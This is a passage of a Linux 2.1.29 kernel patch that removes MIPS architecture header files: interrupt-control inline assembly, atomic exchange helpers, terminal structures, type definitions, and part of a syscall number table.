"COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994, 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_SYSTEM_H -#define __ASM_MIPS_SYSTEM_H - -#include - -#if defined (__R4000__) -#define sti() \ -__asm__ __volatile__( \ - ".set\tnoreorder\n\t" \ - ".set\tnoat\n\t" \ - "mfc0\t$1,$12\n\t" \ - "ori\t$1,0x1f\n\t" \ - "xori\t$1,0x1e\n\t" \ - "mtc0\t$1,$12\n\t" \ - ".set\tat\n\t" \ - ".set\treorder" \ - : /* no outputs */ \ - : /* no inputs */ \ - : "$1") - -#define cli() \ -__asm__ __volatile__( \ - ".set\tnoreorder\n\t" \ - ".set\tnoat\n\t" \ - "mfc0\t$1,$12\n\t" \ - "ori\t$1,1\n\t" \ - "xori\t$1,1\n\t" \ - "mtc0\t$1,$12\n\t" \ - "nop\n\t" \ - "nop\n\t" \ - "nop\n\t" \ - ".set\tat\n\t" \ - ".set\treorder" \ - : /* no outputs */ \ - : /* no inputs */ \ - : "$1") - -#else /* !defined (__R4000__) */ -/* - * Untested goodies for the R3000 based DECstation et al. - */ -#define sti() \ -__asm__ __volatile__( \ - ".set\tnoreorder\n\t" \ - ".set\tnoat\n\t" \ - "mfc0\t$1,$12\n\t" \ - "ori\t$1,0x01\n\t" \ - "mtc0\t$1,$12\n\t" \ - ".set\tat\n\t" \ - ".set\treorder" \ - : /* no outputs */ \ - : /* no inputs */ \ - : "$1") - -#define cli() \ -__asm__ __volatile__( \ - ".set\tnoreorder\n\t" \ - ".set\tnoat\n\t" \ - "mfc0\t$1,$12\n\t" \ - "ori\t$1,1\n\t" \ - "xori\t$1,1\n\t" \ - "mtc0\t$1,$12\n\t" \ - ".set\tat\n\t" \ - ".set\treorder" \ - : /* no outputs */ \ - : /* no inputs */ \ - : "$1") -#endif /* !defined (__R4000__) */ - -#define nop() __asm__ __volatile__ ("nop") - -#define save_flags(x) \ -__asm__ __volatile__( \ - ".set\tnoreorder\n\t" \ - "mfc0\t%0,$12\n\t" \ - ".set\treorder" \ - : "=r" (x)) \ - -#define restore_flags(x) \ -__asm__ __volatile__( \ - ".set\tnoreorder\n\t" \ - "mtc0\t%0,$12\n\t" \ - "nop\n\t" \ - "nop\n\t" \ - "nop\n\t" \ - ".set\treorder" \ - : /* no output */ \ - : "r" (x)) \ - -#define sync_mem() \ -__asm__ __volatile__( \ - ".set\tnoreorder\n\t" \ - "sync\n\t" \ - ".set\treorder") \ - -/* - * The 8 and 16 bit variants have to disable interrupts temporarily. - * Both are currently unused. - */ -extern inline unsigned long xchg_u8(volatile char * m, unsigned long val) -{ - unsigned long flags, retval; - - save_flags(flags); - sti(); - retval = *m; - *m = val; - restore_flags(flags); - - return retval; -} - -extern inline unsigned long xchg_u16(volatile short * m, unsigned long val) -{ - unsigned long flags, retval; - - save_flags(flags); - sti(); - retval = *m; - *m = val; - restore_flags(flags); - - return retval; -} - -/* - * For 32 and 64 bit operands we can take advantage of ll and sc. - * FIXME: This doesn't work for R3000 machines. - */ -extern inline unsigned long xchg_u32(volatile int * m, unsigned long val) -{ - unsigned long dummy; - - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n\t" - "ll\t%0,(%1)\n" - "1:\tmove\t$1,%2\n\t" - "sc\t$1,(%1)\n\t" - "beqzl\t$1,1b\n\t" - "ll\t%0,(%1)\n\t" - ".set\tat\n\t" - ".set\treorder" - : "=r" (val), "=r" (m), "=r" (dummy) - : "1" (m), "2" (val)); - - return val; -} - -/* - * Only used for 64 bit kernel. - */ -extern inline unsigned long xchg_u64(volatile long * m, unsigned long val) -{ - unsigned long dummy; - - __asm__ __volatile__( - ".set\tnoreorder\n\t" - ".set\tnoat\n\t" - "lld\t%0,(%1)\n" - "1:\tmove\t$1,%2\n\t" - "scd\t$1,(%1)\n\t" - "beqzl\t$1,1b\n\t" - "ll\t%0,(%1)\n\t" - ".set\tat\n\t" - ".set\treorder" - : "=r" (val), "=r" (m), "=r" (dummy) - : "1" (m), "2" (val)); - - return val; -} - -#define xchg(ptr,x) ((__typeof__(*(ptr)))__xchg((unsigned long)(x),(ptr),sizeof(*(ptr)))) -#define tas(ptr) (xchg((ptr),1)) - -/* - * This function doesn't exist, so you'll get a linker error - * if something tries to do an invalid xchg(). - * - * This only works if the compiler isn't horribly bad at optimizing. - * gcc-2.5.8 reportedly can't handle this, but I define that one to - * be dead anyway. - */ -extern void __xchg_called_with_bad_pointer(void); - -static inline unsigned long __xchg(unsigned long x, volatile void * ptr, int size) -{ - switch (size) { - case 1: - return xchg_u8(ptr, x); - case 2: - return xchg_u16(ptr, x); - case 4: - return xchg_u32(ptr, x); - case 8: - return xchg_u64(ptr, x); - } - __xchg_called_with_bad_pointer(); - return x; -} - -extern unsigned long IRQ_vectors[16]; -extern unsigned long exception_handlers[32]; - -#define set_int_vector(n,addr) \ - IRQ_vectors[n] = (unsigned long) (addr) - -#define set_except_vector(n,addr) \ - exception_handlers[n] = (unsigned long) (addr) - -#endif /* __ASM_MIPS_SYSTEM_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/termbits.h linux/include/asm-mips/termbits.h --- linux-2.1.29/include/asm-mips/termbits.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/termbits.h Wed Dec 31 19:00:00 1969 @@ -1,35 +0,0 @@ -#ifndef __ASM_MIPS_TERMBITS_H -#define __ASM_MIPS_TERMBITS_H - -#include -#include - -/* - * The ABI says nothing about NCC but seems to use NCCS as - * replacement for it in struct termio - */ -#define NCC 8 -#define NCCS 23 - -struct termio { - unsigned short c_iflag; /* input mode flags */ - unsigned short c_oflag; /* output mode flags */ - unsigned short c_cflag; /* control mode flags */ - unsigned short c_lflag; /* local mode flags */ - char c_line; /* line discipline */ - unsigned char c_cc[NCCS]; /* control characters */ -}; - -struct termios { - tcflag_t c_iflag; /* input mode flags */ - tcflag_t c_oflag; /* output mode flags */ - tcflag_t c_cflag; /* control mode flags */ - tcflag_t c_lflag; /* local mode flags */ - /* - * Seems nonexistent in the ABI, but Linux assumes existence ... - */ - cc_t c_line; /* line discipline */ - cc_t c_cc[NCCS]; /* control characters */ -}; - -#endif /* __ASM_MIPS_TERMBITS_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/termios.h linux/include/asm-mips/termios.h --- linux-2.1.29/include/asm-mips/termios.h Sat May 10 18:16:58 1997 +++ linux/include/asm-mips/termios.h Wed Dec 31 19:00:00 1969 @@ -1,54 +0,0 @@ -#ifndef __ASM_MIPS_TERMIOS_H -#define __ASM_MIPS_TERMIOS_H - -#include -#include - -struct winsize { - unsigned short ws_row; - unsigned short ws_col; - unsigned short ws_xpixel; - unsigned short ws_ypixel; -}; - -/* ----------------------------------------------------------------------- */ - -#ifdef __KERNEL__ - -/* - * Translate a "termio" structure into a "termios". Ugh. - */ -#define user_termio_to_kernel_termios(termios, termio) \ -do { \ - unsigned short tmp; \ - get_user(tmp, &(termio)->c_iflag); \ - (termios)->c_iflag = (0xffff0000 & ((termios)->c_iflag)) | tmp; \ - get_user(tmp, &(termio)->c_oflag); \ - (termios)->c_oflag = (0xffff0000 & ((termios)->c_oflag)) | tmp; \ - get_user(tmp, &(termio)->c_cflag); \ - (termios)->c_cflag = (0xffff0000 & ((termios)->c_cflag)) | tmp; \ - get_user(tmp, &(termio)->c_lflag); \ - (termios)->c_lflag = (0xffff0000 & ((termios)->c_lflag)) | tmp; \ - get_user((termios)->c_line, &(termio)->c_line); \ - copy_from_user((termios)->c_cc, (termio)->c_cc, NCC); \ -} while(0) - -/* - * Translate a "termios" structure into a "termio". Ugh. - */ -#define kernel_termios_to_user_termio(termio, termios) \ -do { \ - put_user((termios)->c_iflag, &(termio)->c_iflag); \ - put_user((termios)->c_oflag, &(termio)->c_oflag); \ - put_user((termios)->c_cflag, &(termio)->c_cflag); \ - put_user((termios)->c_lflag, &(termio)->c_lflag); \ - put_user((termios)->c_line, &(termio)->c_line); \ - copy_to_user((termio)->c_cc, (termios)->c_cc, NCC); \ -} while(0) - -#define user_termios_to_kernel_termios(k, u) copy_from_user(k, u, sizeof(struct termios)) -#define kernel_termios_to_user_termios(u, k) copy_to_user(u, k, sizeof(struct termios)) - -#endif /* __KERNEL__ */ - -#endif /* __ASM_MIPS_TERMIOS_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/types.h linux/include/asm-mips/types.h --- linux-2.1.29/include/asm-mips/types.h Wed Dec 13 05:39:47 1995 +++ linux/include/asm-mips/types.h Wed Dec 31 19:00:00 1969 @@ -1,158 +0,0 @@ -/* - * include/asm-mips/types.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994, 1995 by Waldorf GMBH - * written by Ralf Baechle - */ -#ifndef __ASM_MIPS_TYPES_H -#define __ASM_MIPS_TYPES_H - -#ifndef _SIZE_T -#define _SIZE_T -typedef __SIZE_TYPE__ size_t; -#endif - -#ifndef _SSIZE_T -#define _SSIZE_T -typedef __SSIZE_TYPE__ ssize_t; -#endif - -#ifndef _PTRDIFF_T -#define _PTRDIFF_T -typedef __PTRDIFF_TYPE__ ptrdiff_t; -#endif - -#ifndef _TIME_T -#define _TIME_T -typedef long time_t; -#endif - -#ifndef _CLOCK_T -#define _CLOCK_T -typedef long clock_t; -#endif - -/* - * __xx is ok: it doesn't pollute the POSIX namespace. Use these in the - * header files exported to user space - */ - -typedef __signed__ char __s8; -typedef unsigned char __u8; - -typedef __signed__ short __s16; -typedef unsigned short __u16; - -typedef __signed__ int __s32; -typedef unsigned int __u32; - -#if ((~0UL) == 0xffffffff) - -#if defined(__GNUC__) && !defined(__STRICT_ANSI__) -typedef __signed__ long long __s64; -typedef unsigned long long __u64; -#endif - -#else - -typedef __signed__ long __s64; -typedef unsigned long __u64; - -#endif - -/* - * These aren't exported outside the kernel to avoid name space clashes - */ -#ifdef __KERNEL__ - -typedef __signed char s8; -typedef unsigned char u8; - -typedef __signed short s16; -typedef unsigned short u16; - -typedef __signed int s32; -typedef unsigned int u32; - -#if ((~0UL) == 0xffffffff) - -#if defined(__GNUC__) && !defined(__STRICT_ANSI__) -typedef __signed__ long long s64; -typedef unsigned long long u64; -#endif - -#else - -typedef __signed__ long s64; -typedef unsigned long u64; - -#endif - -#endif /* __KERNEL__ */ - -typedef __s32 pid_t; -typedef __s32 uid_t; -typedef __s32 gid_t; -typedef __u32 dev_t; -typedef __u32 ino_t; -typedef __u32 mode_t; -typedef __u32 umode_t; -typedef __u32 nlink_t; -typedef long daddr_t; -typedef long off_t; - -#undef __FD_SET -static __inline__ void __FD_SET(unsigned long fd, fd_set *fdsetp) -{ - unsigned long _tmp = fd / __NFDBITS; - unsigned long _rem = fd % __NFDBITS; - fdsetp->fds_bits[_tmp] |= (1UL<<_rem); -} - -#undef __FD_CLR -static __inline__ void __FD_CLR(unsigned long fd, fd_set *fdsetp) -{ - unsigned long _tmp = fd / __NFDBITS; - unsigned long _rem = fd % __NFDBITS; - fdsetp->fds_bits[_tmp] &= ~(1UL<<_rem); -} - -#undef __FD_ISSET -static __inline__ int __FD_ISSET(unsigned long fd, fd_set *p) -{ - unsigned long _tmp = fd / __NFDBITS; - unsigned long _rem = fd % __NFDBITS; - return (p->fds_bits[_tmp] & (1UL<<_rem)) != 0; -} - -/* - * This will unroll the loop for the normal constant case (8 ints, - * for a 256-bit fd_set) - */ -#undef __FD_ZERO -static __inline__ void __FD_ZERO(fd_set *p) -{ - unsigned int *tmp = p->fds_bits; - int i; - - if (__builtin_constant_p(__FDSET_INTS)) { - switch (__FDSET_INTS) { - case 8: - tmp[0] = 0; tmp[1] = 0; tmp[2] = 0; tmp[3] = 0; - tmp[4] = 0; tmp[5] = 0; tmp[6] = 0; tmp[7] = 0; - return; - } - } - i = __FDSET_INTS; - while (i) { - i--; - *tmp = 0; - tmp++; - } -} - -#endif /* __ASM_MIPS_TYPES_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/unistd.h linux/include/asm-mips/unistd.h --- linux-2.1.29/include/asm-mips/unistd.h Wed Dec 13 05:39:47 1995 +++ linux/include/asm-mips/unistd.h Wed Dec 31 19:00:00 1969 @@ -1,1360 +0,0 @@ -/* - * This file contains the system call numbers. - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_UNISTD_H -#define __ASM_MIPS_UNISTD_H - -/* - * The syscalls 0 - 3999 are reserved for a down to the root syscall - * compatibility with Risc/OS and IRIX. None of these syscalls has yet been - * implemented. We'll see how to deal with the various "real" BSD variants - * like Ultrix, NetBSD ... - */ - -/* - * SVR4 syscalls are in the range from 1 to 999 - */ -#define __NR_SVR4 0 -#define __NR_SVR4_syscall (__NR_SVR4 + 0) -#define __NR_SVR4_exit (__NR_SVR4 + 1) -#define __NR_SVR4_fork (__NR_SVR4 + 2) -#define __NR_SVR4_read (__NR_SVR4 + 3) -#define __NR_SVR4_write (__NR_SVR4 + 4) -#define __NR_SVR4_open (__NR_SVR4 + 5) -#define __NR_SVR4_close (__NR_SVR4 + 6) -#define __NR_SVR4_wait (__NR_SVR4 + 7) -#define __NR_SVR4_creat (__NR_SVR4 + 8) -#define __NR_SVR4_link (__NR_SVR4 + 9) -#define __NR_SVR4_unlink (__NR_SVR4 + 10) -#define __NR_SVR4_exec (__NR_SVR4 + 11) -#define __NR_SVR4_chdir (__NR_SVR4 + 12) -#define __NR_SVR4_gtime (__NR_SVR4 + 13) -#define __NR_SVR4_mknod (__NR_SVR4 + 14) -#define __NR_SVR4_chmod (__NR_SVR4 + 15) -#define __NR_SVR4_chown (__NR_SVR4 + 16) -#define __NR_SVR4_sbreak (__NR_SVR4 + 17) -#define __NR_SVR4_stat (__NR_SVR4 + 18) -#define __NR_SVR4_lseek (__NR_SVR4 + 19) -#define __NR_SVR4_getpid (__NR_SVR4 + 20) -#define __NR_SVR4_mount (__NR_SVR4 + 21) -#define __NR_SVR4_umount (__NR_SVR4 + 22) -#define __NR_SVR4_setuid (__NR_SVR4 + 23) -#define __NR_SVR4_getuid (__NR_SVR4 + 24) -#define __NR_SVR4_stime (__NR_SVR4 + 25) -#define __NR_SVR4_ptrace (__NR_SVR4 + 26) -#define __NR_SVR4_alarm (__NR_SVR4 + 27) -#define __NR_SVR4_fstat (__NR_SVR4 + 28) -#define __NR_SVR4_pause (__NR_SVR4 + 29) -#define __NR_SVR4_utime (__NR_SVR4 + 30) -#define __NR_SVR4_stty (__NR_SVR4 + 31) -#define __NR_SVR4_gtty (__NR_SVR4 + 32) -#define __NR_SVR4_access (__NR_SVR4 + 33) -#define __NR_SVR4_nice (__NR_SVR4 + 34) -#define __NR_SVR4_statfs (__NR_SVR4 + 35) -#define __NR_SVR4_sync (__NR_SVR4 + 36) -#define __NR_SVR4_kill (__NR_SVR4 + 37) -#define __NR_SVR4_fstatfs (__NR_SVR4 + 38) -#define __NR_SVR4_setpgrp (__NR_SVR4 + 39) -#define __NR_SVR4_cxenix (__NR_SVR4 + 40) -#define __NR_SVR4_dup (__NR_SVR4 + 41) -#define __NR_SVR4_pipe (__NR_SVR4 + 42) -#define __NR_SVR4_times (__NR_SVR4 + 43) -#define __NR_SVR4_profil (__NR_SVR4 + 44) -#define __NR_SVR4_plock (__NR_SVR4 + 45) -#define __NR_SVR4_setgid (__NR_SVR4 + 46) -#define __NR_SVR4_getgid (__NR_SVR4 + 47) -#define __NR_SVR4_sig (__NR_SVR4 + 48) -#define __NR_SVR4_msgsys (__NR_SVR4 + 49) -#define __NR_SVR4_sysmips (__NR_SVR4 + 50) -#define __NR_SVR4_sysacct (__NR_SVR4 + 51) -#define __NR_SVR4_shmsys (__NR_SVR4 + 52) -#define __NR_SVR4_semsys (__NR_SVR4 + 53) -#define __NR_SVR4_ioctl (__NR_SVR4 + 54) -#define __NR_SVR4_uadmin (__NR_SVR4 + 55) -#define __NR_SVR4_exch (__NR_SVR4 + 56) -#define __NR_SVR4_utssys (__NR_SVR4 + 57) -#define __NR_SVR4_fsync (__NR_SVR4 + 58) -#define __NR_SVR4_exece (__NR_SVR4 + 59) -#define __NR_SVR4_umask (__NR_SVR4 + 60) -#define __NR_SVR4_chroot (__NR_SVR4 + 61) -#define __NR_SVR4_fcntl (__NR_SVR4 + 62) -#define __NR_SVR4_ulimit (__NR_SVR4 + 63) -#define __NR_SVR4_reserved1 (__NR_SVR4 + 64) -#define __NR_SVR4_reserved2 (__NR_SVR4 + 65) -#define __NR_SVR4_reserved3 (__NR_SVR4 + 66) -#define __NR_SVR4_reserved4 (__NR_SVR4 + 67) -#define __NR_SVR4_reserved5 (__NR_SVR4 + 68) -#define __NR_SVR4_reserved6 (__NR_SVR4 + 69) -#define __NR_SVR4_advfs (__NR_SVR4 + 70) -#define __NR_SVR4_unadvfs (__NR_SVR4 + 71) -#define __NR_SVR4_unused1 (__NR_SVR4 + 72) -#define __NR_SVR4_unused2 (__NR_SVR4 + 73) -#define __NR_SVR4_rfstart (__NR_SVR4 + 74) -#define __NR_SVR4_unused3 (__NR_SVR4 + 75) -#define __NR_SVR4_rdebug (__NR_SVR4 + 76) -#define __NR_SVR4_rfstop (__NR_SVR4 + 77) -#define __NR_SVR4_rfsys (__NR_SVR4 + 78) -#define __NR_SVR4_rmdir (__NR_SVR4 + 79) -#define __NR_SVR4_mkdir (__NR_SVR4 + 80) -#define __NR_SVR4_getdents (__NR_SVR4 + 81) -#define __NR_SVR4_libattach (__NR_SVR4 + 82) -#define __NR_SVR4_libdetach (__NR_SVR4 + 83) -#define __NR_SVR4_sysfs (__NR_SVR4 + 84) -#define __NR_SVR4_getmsg (__NR_SVR4 + 85) -#define __NR_SVR4_putmsg (__NR_SVR4 + 86) -#define __NR_SVR4_poll (__NR_SVR4 + 87) -#define __NR_SVR4_lstat (__NR_SVR4 + 88) -#define __NR_SVR4_symlink (__NR_SVR4 + 89) -#define __NR_SVR4_readlink (__NR_SVR4 + 90) -#define __NR_SVR4_setgroups (__NR_SVR4 + 91) -#define __NR_SVR4_getgroups (__NR_SVR4 + 92) -#define __NR_SVR4_fchmod (__NR_SVR4 + 93) -#define __NR_SVR4_fchown (__NR_SVR4 + 94) -#define __NR_SVR4_sigprocmask (__NR_SVR4 + 95) -#define __NR_SVR4_sigsuspend (__NR_SVR4 + 96) -#define __NR_SVR4_sigaltstack (__NR_SVR4 + 97) -#define __NR_SVR4_sigaction (__NR_SVR4 + 98) -#define __NR_SVR4_sigpending (__NR_SVR4 + 99) -#define __NR_SVR4_setcontext (__NR_SVR4 + 100) -#define __NR_SVR4_evsys (__NR_SVR4 + 101) -#define __NR_SVR4_evtrapret (__NR_SVR4 + 102) -#define __NR_SVR4_statvfs (__NR_SVR4 + 103) -#define __NR_SVR4_fstatvfs (__NR_SVR4 + 104) -#define __NR_SVR4_reserved7 (__NR_SVR4 + 105) -#define __NR_SVR4_nfssys (__NR_SVR4 + 106) -#define __NR_SVR4_waitid (__NR_SVR4 + 107) -#define __NR_SVR4_sigsendset (__NR_SVR4 + 108) -#define __NR_SVR4_hrtsys (__NR_SVR4 + 109) -#define __NR_SVR4_acancel (__NR_SVR4 + 110) -#define __NR_SVR4_async (__NR_SVR4 + 111) -#define __NR_SVR4_priocntlset (__NR_SVR4 + 112) -#define __NR_SVR4_pathconf (__NR_SVR4 + 113) -#define __NR_SVR4_mincore (__NR_SVR4 + 114) -#define __NR_SVR4_mmap (__NR_SVR4 + 115) -#define __NR_SVR4_mprotect (__NR_SVR4 + 116) -#define __NR_SVR4_munmap (__NR_SVR4 + 117) -#define __NR_SVR4_fpathconf (__NR_SVR4 + 118) -#define __NR_SVR4_vfork (__NR_SVR4 + 119) -#define __NR_SVR4_fchdir (__NR_SVR4 + 120) -#define __NR_SVR4_readv (__NR_SVR4 + 121) -#define __NR_SVR4_writev (__NR_SVR4 + 122) -#define __NR_SVR4_xstat (__NR_SVR4 + 123) -#define __NR_SVR4_lxstat (__NR_SVR4 + 124) -#define __NR_SVR4_fxstat (__NR_SVR4 + 125) -#define __NR_SVR4_xmknod (__NR_SVR4 + 126) -#define __NR_SVR4_clocal (__NR_SVR4 + 127) -#define __NR_SVR4_setrlimit (__NR_SVR4 + 128) -#define __NR_SVR4_getrlimit (__NR_SVR4 + 129) -#define __NR_SVR4_lchown (__NR_SVR4 + 130) -#define __NR_SVR4_memcntl (__NR_SVR4 + 131) -#define __NR_SVR4_getpmsg (__NR_SVR4 + 132) -#define __NR_SVR4_putpmsg (__NR_SVR4 + 133) -#define __NR_SVR4_rename (__NR_SVR4 + 134) -#define __NR_SVR4_nuname (__NR_SVR4 + 135) -#define __NR_SVR4_setegid (__NR_SVR4 + 136) -#define __NR_SVR4_sysconf (__NR_SVR4 + 137) -#define __NR_SVR4_adjtime (__NR_SVR4 + 138) -#define __NR_SVR4_sysinfo (__NR_SVR4 + 139) -#define __NR_SVR4_reserved8 (__NR_SVR4 + 140) -#define __NR_SVR4_seteuid (__NR_SVR4 + 141) -#define __NR_SVR4_PYRAMID_statis (__NR_SVR4 + 142) -#define __NR_SVR4_PYRAMID_tuning (__NR_SVR4 + 143) -#define __NR_SVR4_PYRAMID_forcerr (__NR_SVR4 + 144) -#define __NR_SVR4_PYRAMID_mpcntl (__NR_SVR4 + 145) -#define __NR_SVR4_reserved9 (__NR_SVR4 + 146) -#define __NR_SVR4_reserved10 (__NR_SVR4 + 147) -#define __NR_SVR4_reserved11 (__NR_SVR4 + 148) -#define __NR_SVR4_reserved12 (__NR_SVR4 + 149) -#define __NR_SVR4_reserved13 (__NR_SVR4 + 150) -#define __NR_SVR4_reserved14 (__NR_SVR4 + 151) -#define __NR_SVR4_reserved15 (__NR_SVR4 + 152) -#define __NR_SVR4_reserved16 (__NR_SVR4 + 153) -#define __NR_SVR4_reserved17 (__NR_SVR4 + 154) -#define __NR_SVR4_reserved18 (__NR_SVR4 + 155) -#define __NR_SVR4_reserved19 (__NR_SVR4 + 156) -#define __NR_SVR4_reserved20 (__NR_SVR4 + 157) -#define __NR_SVR4_reserved21 (__NR_SVR4 + 158) -#define __NR_SVR4_reserved22 (__NR_SVR4 + 159) -#define __NR_SVR4_reserved23 (__NR_SVR4 + 160) -#define __NR_SVR4_reserved24 (__NR_SVR4 + 161) -#define __NR_SVR4_reserved25 (__NR_SVR4 + 162) -#define __NR_SVR4_reserved26 (__NR_SVR4 + 163) -#define __NR_SVR4_reserved27 (__NR_SVR4 + 164) -#define __NR_SVR4_reserved28 (__NR_SVR4 + 165) -#define __NR_SVR4_reserved29 (__NR_SVR4 + 166) -#define __NR_SVR4_reserved30 (__NR_SVR4 + 167) -#define __NR_SVR4_reserved31 (__NR_SVR4 + 168) -#define __NR_SVR4_reserved32 (__NR_SVR4 + 169) -#define __NR_SVR4_reserved33 (__NR_SVR4 + 170) -#define __NR_SVR4_reserved34 (__NR_SVR4 + 171) -#define __NR_SVR4_reserved35 (__NR_SVR4 + 172) -#define __NR_SVR4_reserved36 (__NR_SVR4 + 173) -#define __NR_SVR4_reserved37 (__NR_SVR4 + 174) -#define __NR_SVR4_reserved38 (__NR_SVR4 + 175) -#define __NR_SVR4_reserved39 (__NR_SVR4 + 176) -#define __NR_SVR4_reserved40 (__NR_SVR4 + 177) -#define __NR_SVR4_reserved41 (__NR_SVR4 + 178) -#define __NR_SVR4_reserved42 (__NR_SVR4 + 179) -#define __NR_SVR4_reserved43 (__NR_SVR4 + 180) -#define __NR_SVR4_reserved44 (__NR_SVR4 + 181) -#define __NR_SVR4_reserved45 (__NR_SVR4 + 182) -#define __NR_SVR4_reserved46 (__NR_SVR4 + 183) -#define __NR_SVR4_reserved47 (__NR_SVR4 + 184) -#define __NR_SVR4_reserved48 (__NR_SVR4 + 185) -#define __NR_SVR4_reserved49 (__NR_SVR4 + 186) -#define __NR_SVR4_reserved50 (__NR_SVR4 + 187) -#define __NR_SVR4_reserved51 (__NR_SVR4 + 188) -#define __NR_SVR4_reserved52 (__NR_SVR4 + 189) -#define __NR_SVR4_reserved53 (__NR_SVR4 + 190) -#define __NR_SVR4_reserved54 (__NR_SVR4 + 191) -#define __NR_SVR4_reserved55 (__NR_SVR4 + 192) -#define __NR_SVR4_reserved56 (__NR_SVR4 + 193) -#define __NR_SVR4_reserved57 (__NR_SVR4 + 194) -#define __NR_SVR4_reserved58 (__NR_SVR4 + 195) -#define __NR_SVR4_reserved59 (__NR_SVR4 + 196) -#define __NR_SVR4_reserved60 (__NR_SVR4 + 197) -#define __NR_SVR4_reserved61 (__NR_SVR4 + 198) -#define __NR_SVR4_reserved62 (__NR_SVR4 + 199) -#define __NR_SVR4_reserved63 (__NR_SVR4 + 200) -#define __NR_SVR4_aread (__NR_SVR4 + 201) -#define __NR_SVR4_awrite (__NR_SVR4 + 202) -#define __NR_SVR4_listio (__NR_SVR4 + 203) -#define __NR_SVR4_mips_acancel (__NR_SVR4 + 204) -#define __NR_SVR4_astatus (__NR_SVR4 + 205) -#define __NR_SVR4_await (__NR_SVR4 + 206) -#define __NR_SVR4_areadv (__NR_SVR4 + 207) -#define __NR_SVR4_awritev (__NR_SVR4 + 208) -#define __NR_SVR4_MIPS_reserved1 (__NR_SVR4 + 209) -#define __NR_SVR4_MIPS_reserved2 (__NR_SVR4 + 210) -#define __NR_SVR4_MIPS_reserved3 (__NR_SVR4 + 211) -#define __NR_SVR4_MIPS_reserved4 (__NR_SVR4 + 212) -#define __NR_SVR4_MIPS_reserved5 (__NR_SVR4 + 213) -#define __NR_SVR4_MIPS_reserved6 (__NR_SVR4 + 214) -#define __NR_SVR4_MIPS_reserved7 (__NR_SVR4 + 215) -#define __NR_SVR4_MIPS_reserved8 (__NR_SVR4 + 216) -#define __NR_SVR4_MIPS_reserved9 (__NR_SVR4 + 217) -#define __NR_SVR4_MIPS_reserved10 (__NR_SVR4 + 218) -#define __NR_SVR4_MIPS_reserved11 (__NR_SVR4 + 219) -#define __NR_SVR4_MIPS_reserved12 (__NR_SVR4 + 220) -#define __NR_SVR4_CDC_reserved1 (__NR_SVR4 + 221) -#define __NR_SVR4_CDC_reserved2 (__NR_SVR4 + 222) -#define __NR_SVR4_CDC_reserved3 (__NR_SVR4 + 223) -#define __NR_SVR4_CDC_reserved4 (__NR_SVR4 + 224) -#define __NR_SVR4_CDC_reserved5 (__NR_SVR4 + 225) -#define __NR_SVR4_CDC_reserved6 (__NR_SVR4 + 226) -#define __NR_SVR4_CDC_reserved7 (__NR_SVR4 + 227) -#define __NR_SVR4_CDC_reserved8 (__NR_SVR4 + 228) -#define __NR_SVR4_CDC_reserved9 (__NR_SVR4 + 229) -#define __NR_SVR4_CDC_reserved10 (__NR_SVR4 + 230) -#define __NR_SVR4_CDC_reserved11 (__NR_SVR4 + 231) -#define __NR_SVR4_CDC_reserved12 (__NR_SVR4 + 232) -#define __NR_SVR4_CDC_reserved13 (__NR_SVR4 + 233) -#define __NR_SVR4_CDC_reserved14 (__NR_SVR4 + 234) -#define __NR_SVR4_CDC_reserved15 (__NR_SVR4 + 235) -#define __NR_SVR4_CDC_reserved16 (__NR_SVR4 + 236) -#define __NR_SVR4_CDC_reserved17 (__NR_SVR4 + 237) -#define __NR_SVR4_CDC_reserved18 (__NR_SVR4 + 238) -#define __NR_SVR4_CDC_reserved19 (__NR_SVR4 + 239) -#define __NR_SVR4_CDC_reserved20 (__NR_SVR4 + 240) - -/* - * SYS V syscalls are in the range from 1000 to 1999 - */ -#define __NR_SYSV 1000 -#define __NR_SYSV_syscall (__NR_SYSV + 0) -#define __NR_SYSV_exit (__NR_SYSV + 1) -#define __NR_SYSV_fork (__NR_SYSV + 2) -#define __NR_SYSV_read (__NR_SYSV + 3) -#define __NR_SYSV_write (__NR_SYSV + 4) -#define __NR_SYSV_open (__NR_SYSV + 5) -#define __NR_SYSV_close (__NR_SYSV + 6) -#define __NR_SYSV_wait (__NR_SYSV + 7) -#define __NR_SYSV_creat (__NR_SYSV + 8) -#define __NR_SYSV_link (__NR_SYSV + 9) -#define __NR_SYSV_unlink (__NR_SYSV + 10) -#define __NR_SYSV_execv (__NR_SYSV + 11) -#define __NR_SYSV_chdir (__NR_SYSV + 12) -#define __NR_SYSV_time (__NR_SYSV + 13) -#define __NR_SYSV_mknod (__NR_SYSV + 14) -#define __NR_SYSV_chmod (__NR_SYSV + 15) -#define __NR_SYSV_chown (__NR_SYSV + 16) -#define __NR_SYSV_brk (__NR_SYSV + 17) -#define __NR_SYSV_stat (__NR_SYSV + 18) -#define __NR_SYSV_lseek (__NR_SYSV + 19) -#define __NR_SYSV_getpid (__NR_SYSV + 20) -#define __NR_SYSV_mount (__NR_SYSV + 21) -#define __NR_SYSV_umount (__NR_SYSV + 22) -#define __NR_SYSV_setuid (__NR_SYSV + 23) -#define __NR_SYSV_getuid (__NR_SYSV + 24) -#define __NR_SYSV_stime (__NR_SYSV + 25) -#define __NR_SYSV_ptrace (__NR_SYSV + 26) -#define __NR_SYSV_alarm (__NR_SYSV + 27) -#define __NR_SYSV_fstat (__NR_SYSV + 28) -#define __NR_SYSV_pause (__NR_SYSV + 29) -#define __NR_SYSV_utime (__NR_SYSV + 30) -#define __NR_SYSV_stty (__NR_SYSV + 31) -#define __NR_SYSV_gtty (__NR_SYSV + 32) -#define __NR_SYSV_access (__NR_SYSV + 33) -#define __NR_SYSV_nice (__NR_SYSV + 34) -#define __NR_SYSV_statfs (__NR_SYSV + 35) -#define __NR_SYSV_sync (__NR_SYSV + 36) -#define __NR_SYSV_kill (__NR_SYSV + 37) -#define __NR_SYSV_fstatfs (__NR_SYSV + 38) -#define __NR_SYSV_setpgrp (__NR_SYSV + 39) 